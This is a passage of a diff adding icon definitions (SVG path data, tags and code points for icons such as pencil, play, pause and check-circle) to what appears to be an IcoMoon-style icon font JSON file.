4-9.714zM475.429 237.714l237.714 237.714-475.429 475.429h-237.714v-237.714zM865.714 292.571c0 19.429-8 38.286-21.143 51.429l-94.857 94.857-237.714-237.714 94.857-94.286c13.143-13.714 32-21.714 51.429-21.714s38.286 8 52 21.714l134.286 133.714c13.143 13.714 21.143 32.571 21.143 52z" + ], + "width": 865.7188571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "pencil" + ], + "defaultCode": 61504, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "pencil", + "id": 64, + "order": 920, + "prevSize": 28, + "code": 61504 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 64 + }, + { + "icon": { + "paths": [ + "M438.857 365.714c0-80.571-65.714-146.286-146.286-146.286s-146.286 65.714-146.286 146.286 65.714 146.286 146.286 146.286 146.286-65.714 146.286-146.286zM585.143 365.714c0 34.857-4 70.857-18.857 102.286l-208 442.286c-12 25.143-38.286 40.571-65.714 40.571s-53.714-15.429-65.143-40.571l-208.571-442.286c-14.857-31.429-18.857-67.429-18.857-102.286 0-161.714 130.857-292.571 292.571-292.571s292.571 130.857 292.571 292.571z" + ], + "width": 585.1428571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "map-marker" + ], + "defaultCode": 61505, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "map-marker", + "id": 65, + "order": 921, + "prevSize": 28, + "code": 61505 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 65 + }, + { + "icon": { + "paths": [ + "M438.857 822.857v-621.714c-171.429 0-310.857 139.429-310.857 310.857s139.429 310.857 310.857 310.857zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "adjust" + ], + "defaultCode": 61506, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "adjust", + "id": 66, + "order": 922, + "prevSize": 28, + "code": 61506 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 66 + }, + { + "icon": { + "paths": [ + "M292.571 658.286c0-14.286-4.571-28-11.429-39.429-7.429-11.429-37.714-50.286-49.714-88.571-1.714-6.286-7.429-9.143-12-9.143s-10.286 2.857-12 9.143c-12 38.286-42.286 77.143-49.714 88.571-6.857 11.429-11.429 25.143-11.429 39.429 0 40.571 32.571 73.143 73.143 73.143s73.143-32.571 73.143-73.143zM585.143 585.143c0 161.714-130.857 292.571-292.571 292.571s-292.571-130.857-292.571-292.571c0-57.714 17.714-111.429 46.286-157.143 29.143-45.714 151.429-200.571 197.714-354.857 7.429-24.571 30.286-36.571 48.571-36.571s41.714 12 48.571 36.571c46.286 154.286 168.571 309.143 197.714 354.857s46.286 99.429 46.286 157.143z" + ], + "width": 585.1428571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "tint" + ], + "defaultCode": 61507, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "tint", + "id": 67, + "order": 923, + "prevSize": 28, + "code": 61507 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 67 + }, + { + "icon": { + "paths": [ + "M507.429 676.571l66.286-66.286-86.857-86.857-66.286 66.286v32h54.857v54.857h32zM758.857 265.143c-5.143-5.143-13.714-4.571-18.857 0.571l-200 200c-5.143 5.143-5.714 13.714-0.571 18.857s13.714 4.571 18.857-0.571l200-200c5.143-5.143 5.714-13.714 0.571-18.857zM804.571 604.571v108.571c0 90.857-73.714 164.571-164.571 164.571h-475.429c-90.857 0-164.571-73.714-164.571-164.571v-475.429c0-90.857 73.714-164.571 164.571-164.571h475.429c22.857 0 45.714 4.571 66.857 14.286 5.143 2.286 9.143 7.429 10.286 13.143 1.143 6.286-0.571 12-5.143 16.571l-28 28c-5.143 5.143-12 6.857-18.286 4.571-8.571-2.286-17.143-3.429-25.714-3.429h-475.429c-50.286 0-91.429 41.143-91.429 91.429v475.429c0 50.286 41.143 91.429 91.429 91.429h475.429c50.286 0 91.429-41.143 91.429-91.429v-72c0-4.571 1.714-9.143 5.143-12.571l36.571-36.571c5.714-5.714 13.143-6.857 20-4s11.429 9.143 11.429 16.571zM749.714 182.857l164.571 164.571-384 384h-164.571v-164.571zM1003.429 258.286l-52.571 52.571-164.571-164.571 52.571-52.571c21.143-21.143 56.571-21.143 77.714 0l86.857 86.857c21.143 21.143 21.143 56.571 0 77.714z" + ], + "width": 1024.5851428571427, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "edit", + "pencil-square-o" + ], + "defaultCode": 61508, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "edit, pencil-square-o", + "id": 68, + "order": 924, + "prevSize": 28, + "code": 61508 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 68 + }, + { + "icon": { + "paths": [ + "M804.571 565.143v148c0 90.857-73.714 164.571-164.571 164.571h-475.429c-90.857 0-164.571-73.714-164.571-164.571v-475.429c0-90.857 73.714-164.571 164.571-164.571h145.714c9.714 0 18.286 8 18.286 18.286 0 9.143-6.286 16.571-14.857 18.286-28.571 9.714-54.286 21.143-76 34.286-2.857 1.143-5.714 2.286-9.143 2.286h-64c-50.286 0-91.429 41.143-91.429 91.429v475.429c0 50.286 41.143 91.429 91.429 91.429h475.429c50.286 0 91.429-41.143 91.429-91.429v-122.286c0-6.857 4-13.143 10.286-16.571 11.429-5.143 21.714-12.571 30.857-21.143 5.143-5.143 13.143-7.429 20-4.571s12 9.143 12 16.571zM940 281.714l-219.429 219.429c-6.857 7.429-16 10.857-25.714 10.857-4.571 0-9.714-1.143-14.286-2.857-13.143-5.714-22.286-18.857-22.286-33.714v-109.714h-91.429c-125.714 0-205.714 24-250.286 74.857-46.286 53.143-60 138.857-42.286 270.286 1.143 8-4 16-11.429 19.429-2.286 0.571-4.571 1.143-6.857 1.143-5.714 0-11.429-2.857-14.857-7.429-4-5.714-94.857-134.286-94.857-248.571 0-153.143 48-329.143 420.571-329.143h91.429v-109.714c0-14.857 9.143-28 22.286-33.714 4.571-1.714 9.714-2.857 14.286-2.857 9.714 0 18.857 4 25.714 10.857l219.429 219.429c14.286 14.286 14.286 37.143 0 51.429z" + ], + "width": 954.2948571428572, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "share-square-o" + ], + "defaultCode": 61509, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "share-square-o", + "id": 69, + "order": 925, + "prevSize": 28, + "code": 61509 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 69 + }, + { + "icon": { + "paths": [ + "M804.571 531.429v181.714c0 90.857-73.714 164.571-164.571 164.571h-475.429c-90.857 0-164.571-73.714-164.571-164.571v-475.429c0-90.857 73.714-164.571 164.571-164.571h475.429c22.857 0 45.714 4.571 66.857 14.286 5.143 2.286 9.143 7.429 10.286 13.143 1.143 6.286-0.571 12-5.143 16.571l-28 28c-3.429 3.429-8.571 5.714-13.143 5.714-1.714 0-3.429-0.571-5.143-1.143-8.571-2.286-17.143-3.429-25.714-3.429h-475.429c-50.286 0-91.429 41.143-91.429 91.429v475.429c0 50.286 41.143 91.429 91.429 91.429h475.429c50.286 0 91.429-41.143 91.429-91.429v-145.143c0-4.571 1.714-9.143 5.143-12.571l36.571-36.571c4-4 8.571-5.714 13.143-5.714 2.286 0 4.571 0.571 6.857 1.714 6.857 2.857 11.429 9.143 11.429 16.571zM936.571 252l-465.143 465.143c-18.286 18.286-46.857 18.286-65.143 0l-245.714-245.714c-18.286-18.286-18.286-46.857 0-65.143l62.857-62.857c18.286-18.286 46.857-18.286 65.143 0l150.286 150.286 369.714-369.714c18.286-18.286 46.857-18.286 65.143 0l62.857 62.857c18.286 18.286 18.286 46.857 0 65.143z" + ], + "width": 954.8799999999999, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "check-square-o" + ], + "defaultCode": 61510, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "check-square-o", + "id": 70, + "order": 926, + "prevSize": 28, + "code": 61510 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 70 + }, + { + "icon": { + "paths": [ + "M1024 512c0 9.714-4 18.857-10.857 25.714l-146.286 146.286c-6.857 6.857-16 10.857-25.714 10.857-20 0-36.571-16.571-36.571-36.571v-73.143h-219.429v219.429h73.143c20 0 36.571 16.571 36.571 36.571 0 9.714-4 18.857-10.857 25.714l-146.286 146.286c-6.857 6.857-16 10.857-25.714 10.857s-18.857-4-25.714-10.857l-146.286-146.286c-6.857-6.857-10.857-16-10.857-25.714 0-20 16.571-36.571 36.571-36.571h73.143v-219.429h-219.429v73.143c0 20-16.571 36.571-36.571 36.571-9.714 0-18.857-4-25.714-10.857l-146.286-146.286c-6.857-6.857-10.857-16-10.857-25.714s4-18.857 10.857-25.714l146.286-146.286c6.857-6.857 16-10.857 25.714-10.857 20 0 36.571 16.571 36.571 36.571v73.143h219.429v-219.429h-73.143c-20 0-36.571-16.571-36.571-36.571 0-9.714 4-18.857 10.857-25.714l146.286-146.286c6.857-6.857 16-10.857 25.714-10.857s18.857 4 25.714 10.857l146.286 146.286c6.857 6.857 10.857 16 10.857 25.714 0 20-16.571 36.571-36.571 36.571h-73.143v219.429h219.429v-73.143c0-20 16.571-36.571 36.571-36.571 9.714 0 18.857 4 25.714 10.857l146.286 146.286c6.857 6.857 10.857 16 10.857 25.714z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "arrows" + ], + "defaultCode": 61511, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "arrows", + "id": 71, + "order": 927, + "prevSize": 28, + "code": 61511 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 71 + }, + { + "icon": { + "paths": [ + "M559.429 80.571c14.286-14.286 25.714-9.143 25.714 10.857v841.143c0 20-11.429 25.143-25.714 10.857l-405.714-405.714c-3.429-3.429-5.714-6.857-7.429-10.857v387.429c0 20-16.571 36.571-36.571 36.571h-73.143c-20 0-36.571-16.571-36.571-36.571v-804.571c0-20 16.571-36.571 36.571-36.571h73.143c20 0 36.571 16.571 36.571 36.571v387.429c1.714-4 4-7.429 7.429-10.857z" + ], + "width": 585.1428571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "step-backward" + ], + "defaultCode": 61512, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "step-backward", + "id": 72, + "order": 928, + "prevSize": 28, + "code": 61512 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 72 + }, + { + "icon": { + "paths": [ + "M998.286 80.571c14.286-14.286 25.714-9.143 25.714 10.857v841.143c0 20-11.429 25.143-25.714 10.857l-405.714-405.714c-3.429-3.429-5.714-6.857-7.429-10.857v405.714c0 20-11.429 25.143-25.714 10.857l-405.714-405.714c-3.429-3.429-5.714-6.857-7.429-10.857v387.429c0 20-16.571 36.571-36.571 36.571h-73.143c-20 0-36.571-16.571-36.571-36.571v-804.571c0-20 16.571-36.571 36.571-36.571h73.143c20 0 36.571 16.571 36.571 36.571v387.429c1.714-4 4-7.429 7.429-10.857l405.714-405.714c14.286-14.286 25.714-9.143 25.714 10.857v405.714c1.714-4 4-7.429 7.429-10.857z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "fast-backward" + ], + "defaultCode": 61513, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "fast-backward", + "id": 73, + "order": 929, + "prevSize": 28, + "code": 61513 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 73 + }, + { + "icon": { + "paths": [ + "M925.143 80.571c14.286-14.286 25.714-9.143 25.714 10.857v841.143c0 20-11.429 25.143-25.714 10.857l-405.714-405.714c-3.429-3.429-5.714-6.857-7.429-10.857v405.714c0 20-11.429 25.143-25.714 10.857l-405.714-405.714c-14.286-14.286-14.286-37.143 0-51.429l405.714-405.714c14.286-14.286 25.714-9.143 25.714 10.857v405.714c1.714-4 4-7.429 7.429-10.857z" + ], + "width": 1017.1245714285715, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "backward" + ], + "defaultCode": 61514, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "backward", + "id": 74, + "order": 930, + "prevSize": 28, + "code": 61514 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 74 + }, + { + "icon": { + "paths": [ + "M790.857 529.714l-758.857 421.714c-17.714 9.714-32 1.143-32-18.857v-841.143c0-20 14.286-28.571 32-18.857l758.857 421.714c17.714 9.714 17.714 25.714 0 35.429z" + ], + "width": 808.5942857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "play" + ], + "defaultCode": 61515, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "play", + "id": 75, + "order": 931, + "prevSize": 28, + "code": 61515 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 75 + }, + { + "icon": { + "paths": [ + "M877.714 109.714v804.571c0 20-16.571 36.571-36.571 36.571h-292.571c-20 0-36.571-16.571-36.571-36.571v-804.571c0-20 16.571-36.571 36.571-36.571h292.571c20 0 36.571 16.571 36.571 36.571zM365.714 109.714v804.571c0 20-16.571 36.571-36.571 36.571h-292.571c-20 0-36.571-16.571-36.571-36.571v-804.571c0-20 16.571-36.571 36.571-36.571h292.571c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "pause" + ], + "defaultCode": 61516, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "pause", + "id": 76, + "order": 932, + "prevSize": 28, + "code": 61516 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 76 + }, + { + "icon": { + "paths": [ + "M877.714 109.714v804.571c0 20-16.571 36.571-36.571 36.571h-804.571c-20 0-36.571-16.571-36.571-36.571v-804.571c0-20 16.571-36.571 36.571-36.571h804.571c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "stop" + ], + "defaultCode": 61517, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "stop", + "id": 77, + "order": 933, + "prevSize": 28, + "code": 61517 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 77 + }, + { + "icon": { + "paths": [ + "M25.714 943.429c-14.286 14.286-25.714 9.143-25.714-10.857v-841.143c0-20 11.429-25.143 25.714-10.857l405.714 405.714c3.429 3.429 5.714 6.857 7.429 10.857v-405.714c0-20 11.429-25.143 25.714-10.857l405.714 405.714c14.286 14.286 14.286 37.143 0 51.429l-405.714 405.714c-14.286 14.286-25.714 9.143-25.714-10.857v-405.714c-1.714 4-4 7.429-7.429 10.857z" + ], + "width": 884.5897142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "forward" + ], + "defaultCode": 61518, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "forward", + "id": 78, + "order": 934, + "prevSize": 28, + "code": 61518 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 78 + }, + { + "icon": { + "paths": [ + "M25.714 943.429c-14.286 14.286-25.714 9.143-25.714-10.857v-841.143c0-20 11.429-25.143 25.714-10.857l405.714 405.714c3.429 3.429 5.714 6.857 7.429 10.857v-405.714c0-20 11.429-25.143 25.714-10.857l405.714 405.714c3.429 3.429 5.714 6.857 7.429 10.857v-387.429c0-20 16.571-36.571 36.571-36.571h73.143c20 0 36.571 16.571 36.571 36.571v804.571c0 20-16.571 36.571-36.571 36.571h-73.143c-20 0-36.571-16.571-36.571-36.571v-387.429c-1.714 4-4 7.429-7.429 10.857l-405.714 405.714c-14.286 14.286-25.714 9.143-25.714-10.857v-405.714c-1.714 4-4 7.429-7.429 10.857z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "fast-forward" + ], + "defaultCode": 61520, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "fast-forward", + "id": 79, + "order": 935, + "prevSize": 28, + "code": 61520 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 79 + }, + { + "icon": { + "paths": [ + "M25.714 943.429c-14.286 14.286-25.714 9.143-25.714-10.857v-841.143c0-20 11.429-25.143 25.714-10.857l405.714 405.714c3.429 3.429 5.714 6.857 7.429 10.857v-387.429c0-20 16.571-36.571 36.571-36.571h73.143c20 0 36.571 16.571 36.571 36.571v804.571c0 20-16.571 36.571-36.571 36.571h-73.143c-20 0-36.571-16.571-36.571-36.571v-387.429c-1.714 4-4 7.429-7.429 10.857z" + ], + "width": 585.1428571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "step-forward" + ], + "defaultCode": 61521, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "step-forward", + "id": 80, + "order": 936, + "prevSize": 28, + "code": 61521 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 80 + }, + { + "icon": { + "paths": [ + "M8 559.429l405.714-405.714c14.286-14.286 37.143-14.286 51.429 0l405.714 405.714c14.286 14.286 9.143 25.714-10.857 25.714h-841.143c-20 0-25.143-11.429-10.857-25.714zM841.714 877.714h-804.571c-20 0-36.571-16.571-36.571-36.571v-146.286c0-20 16.571-36.571 36.571-36.571h804.571c20 0 36.571 16.571 36.571 36.571v146.286c0 20-16.571 36.571-36.571 36.571z" + ], + "width": 878.8845714285713, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "eject" + ], + "defaultCode": 61522, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "eject", + "id": 81, + "order": 937, + "prevSize": 28, + "code": 61522 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 81 + }, + { + "icon": { + "paths": [ + "M669.143 172l-303.429 303.429 303.429 303.429c14.286 14.286 14.286 37.143 0 51.429l-94.857 94.857c-14.286 14.286-37.143 14.286-51.429 0l-424-424c-14.286-14.286-14.286-37.143 0-51.429l424-424c14.286-14.286 37.143-14.286 51.429 0l94.857 94.857c14.286 14.286 14.286 37.143 0 51.429z" + ], + "width": 768, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "chevron-left" + ], + "defaultCode": 61523, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "chevron-left", + "id": 82, + "order": 938, + "prevSize": 28, + "code": 61523 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 82 + }, + { + "icon": { + "paths": [ + "M632.571 501.143l-424 424c-14.286 14.286-37.143 14.286-51.429 0l-94.857-94.857c-14.286-14.286-14.286-37.143 0-51.429l303.429-303.429-303.429-303.429c-14.286-14.286-14.286-37.143 0-51.429l94.857-94.857c14.286-14.286 37.143-14.286 51.429 0l424 424c14.286 14.286 14.286 37.143 0 51.429z" + ], + "width": 694.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "chevron-right" + ], + "defaultCode": 61524, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "chevron-right", + "id": 83, + "order": 939, + "prevSize": 28, + "code": 61524 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 83 + }, + { + "icon": { + "paths": [ + "M694.857 548.571v-73.143c0-20-16.571-36.571-36.571-36.571h-146.286v-146.286c0-20-16.571-36.571-36.571-36.571h-73.143c-20 0-36.571 16.571-36.571 36.571v146.286h-146.286c-20 0-36.571 16.571-36.571 36.571v73.143c0 20 16.571 36.571 36.571 36.571h146.286v146.286c0 20 16.571 36.571 36.571 36.571h73.143c20 0 36.571-16.571 36.571-36.571v-146.286h146.286c20 0 36.571-16.571 36.571-36.571zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "plus-circle" + ], + "defaultCode": 61525, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "plus-circle", + "id": 84, + "order": 940, + "prevSize": 28, + "code": 61525 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 84 + }, + { + "icon": { + "paths": [ + "M694.857 548.571v-73.143c0-20-16.571-36.571-36.571-36.571h-438.857c-20 0-36.571 16.571-36.571 36.571v73.143c0 20 16.571 36.571 36.571 36.571h438.857c20 0 36.571-16.571 36.571-36.571zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "minus-circle" + ], + "defaultCode": 61526, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "minus-circle", + "id": 85, + "order": 941, + "prevSize": 28, + "code": 61526 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 85 + }, + { + "icon": { + "paths": [ + "M656.571 641.143c0-9.714-4-18.857-10.857-25.714l-103.429-103.429 103.429-103.429c6.857-6.857 10.857-16 10.857-25.714s-4-19.429-10.857-26.286l-51.429-51.429c-6.857-6.857-16.571-10.857-26.286-10.857s-18.857 4-25.714 10.857l-103.429 103.429-103.429-103.429c-6.857-6.857-16-10.857-25.714-10.857s-19.429 4-26.286 10.857l-51.429 51.429c-6.857 6.857-10.857 16.571-10.857 26.286s4 18.857 10.857 25.714l103.429 103.429-103.429 103.429c-6.857 6.857-10.857 16-10.857 25.714s4 19.429 10.857 26.286l51.429 51.429c6.857 6.857 16.571 10.857 26.286 10.857s18.857-4 25.714-10.857l103.429-103.429 103.429 103.429c6.857 6.857 16 10.857 25.714 10.857s19.429-4 26.286-10.857l51.429-51.429c6.857-6.857 10.857-16.571 10.857-26.286zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "times-circle" + ], + "defaultCode": 61527, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "times-circle", + "id": 86, + "order": 942, + "prevSize": 28, + "code": 61527 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 86 + }, + { + "icon": { + "paths": [ + "M733.714 419.429c0-9.714-3.429-19.429-10.286-26.286l-52-51.429c-6.857-6.857-16-10.857-25.714-10.857s-18.857 4-25.714 10.857l-233.143 232.571-129.143-129.143c-6.857-6.857-16-10.857-25.714-10.857s-18.857 4-25.714 10.857l-52 51.429c-6.857 6.857-10.286 16.571-10.286 26.286s3.429 18.857 10.286 25.714l206.857 206.857c6.857 6.857 16.571 10.857 25.714 10.857 9.714 0 19.429-4 26.286-10.857l310.286-310.286c6.857-6.857 10.286-16 10.286-25.714zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "check-circle" + ], + "defaultCode": 61528, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "check-circle", + "id": 87, + "order": 943, + "prevSize": 28, + "code": 61528 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 87 + }, + { + "icon": { + "paths": [ + "M512 786.286v-109.714c0-10.286-8-18.286-18.286-18.286h-109.714c-10.286 0-18.286 8-18.286 18.286v109.714c0 10.286 8 18.286 18.286 18.286h109.714c10.286 0 18.286-8 18.286-18.286zM658.286 402.286c0-104.571-109.714-182.857-208-182.857-93.143 0-162.857 40-212 121.714-5.143 8-2.857 18.286 4.571 24l75.429 57.143c2.857 2.286 6.857 3.429 10.857 3.429 5.143 0 10.857-2.286 14.286-6.857 26.857-34.286 38.286-44.571 49.143-52.571 9.714-6.857 28.571-13.714 49.143-13.714 36.571 0 70.286 23.429 70.286 48.571 0 29.714-15.429 44.571-50.286 60.571-40.571 18.286-96 65.714-96 121.143v20.571c0 10.286 8 18.286 18.286 18.286h109.714c10.286 0 18.286-8 18.286-18.286v0c0-13.143 16.571-41.143 43.429-56.571 43.429-24.571 102.857-57.714 102.857-144.571zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "question-circle" + ], + "defaultCode": 61529, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "question-circle", + "id": 88, + "order": 944, + "prevSize": 28, + "code": 61529 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 88 + }, + { + "icon": { + "paths": [ + "M585.143 786.286v-91.429c0-10.286-8-18.286-18.286-18.286h-54.857v-292.571c0-10.286-8-18.286-18.286-18.286h-182.857c-10.286 0-18.286 8-18.286 18.286v91.429c0 10.286 8 18.286 18.286 18.286h54.857v182.857h-54.857c-10.286 0-18.286 8-18.286 18.286v91.429c0 10.286 8 18.286 18.286 18.286h256c10.286 0 18.286-8 18.286-18.286zM512 274.286v-91.429c0-10.286-8-18.286-18.286-18.286h-109.714c-10.286 0-18.286 8-18.286 18.286v91.429c0 10.286 8 18.286 18.286 18.286h109.714c10.286 0 18.286-8 18.286-18.286zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "info-circle" + ], + "defaultCode": 61530, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "info-circle", + "id": 89, + "order": 945, + "prevSize": 28, + "code": 61530 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 89 + }, + { + "icon": { + "paths": [ + "M684 585.143h-62.286c-20 0-36.571-16.571-36.571-36.571v-73.143c0-20 16.571-36.571 36.571-36.571h62.286c-24.571-82.286-89.714-147.429-172-172v62.286c0 20-16.571 36.571-36.571 36.571h-73.143c-20 0-36.571-16.571-36.571-36.571v-62.286c-82.286 24.571-147.429 89.714-172 172h62.286c20 0 36.571 16.571 36.571 36.571v73.143c0 20-16.571 36.571-36.571 36.571h-62.286c24.571 82.286 89.714 147.429 172 172v-62.286c0-20 16.571-36.571 36.571-36.571h73.143c20 0 36.571 16.571 36.571 36.571v62.286c82.286-24.571 147.429-89.714 172-172zM877.714 475.429v73.143c0 20-16.571 36.571-36.571 36.571h-81.714c-28 122.857-124.571 219.429-247.429 247.429v81.714c0 20-16.571 36.571-36.571 36.571h-73.143c-20 0-36.571-16.571-36.571-36.571v-81.714c-122.857-28-219.429-124.571-247.429-247.429h-81.714c-20 0-36.571-16.571-36.571-36.571v-73.143c0-20 16.571-36.571 36.571-36.571h81.714c28-122.857 124.571-219.429 247.429-247.429v-81.714c0-20 16.571-36.571 36.571-36.571h73.143c20 0 36.571 16.571 36.571 36.571v81.714c122.857 28 219.429 124.571 247.429 247.429h81.714c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "crosshairs" + ], + "defaultCode": 61531, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "crosshairs", + "id": 90, + "order": 946, + "prevSize": 28, + "code": 61531 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 90 + }, + { + "icon": { + "paths": [ + "M626.857 616.571l-83.429 83.429c-7.429 7.429-18.857 7.429-26.286 0l-78.286-78.286-78.286 78.286c-7.429 7.429-18.857 7.429-26.286 0l-83.429-83.429c-7.429-7.429-7.429-18.857 0-26.286l78.286-78.286-78.286-78.286c-7.429-7.429-7.429-18.857 0-26.286l83.429-83.429c7.429-7.429 18.857-7.429 26.286 0l78.286 78.286 78.286-78.286c7.429-7.429 18.857-7.429 26.286 0l83.429 83.429c7.429 7.429 7.429 18.857 0 26.286l-78.286 78.286 78.286 78.286c7.429 7.429 7.429 18.857 0 26.286zM749.714 512c0-171.429-139.429-310.857-310.857-310.857s-310.857 139.429-310.857 310.857 139.429 310.857 310.857 310.857 310.857-139.429 310.857-310.857zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "times-circle-o" + ], + "defaultCode": 61532, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "times-circle-o", + "id": 91, + "order": 947, + "prevSize": 28, + "code": 61532 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 91 + }, + { + "icon": { + "paths": [ + "M669.143 464.571l-241.143 241.143c-14.286 14.286-37.143 14.286-51.429 0l-168-168c-14.286-14.286-14.286-37.143 0-51.429l58.286-58.286c14.286-14.286 37.143-14.286 51.429 0l84 84 157.143-157.143c14.286-14.286 37.143-14.286 51.429 0l58.286 58.286c14.286 14.286 14.286 37.143 0 51.429zM749.714 512c0-171.429-139.429-310.857-310.857-310.857s-310.857 139.429-310.857 310.857 139.429 310.857 310.857 310.857 310.857-139.429 310.857-310.857zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "check-circle-o" + ], + "defaultCode": 61533, + 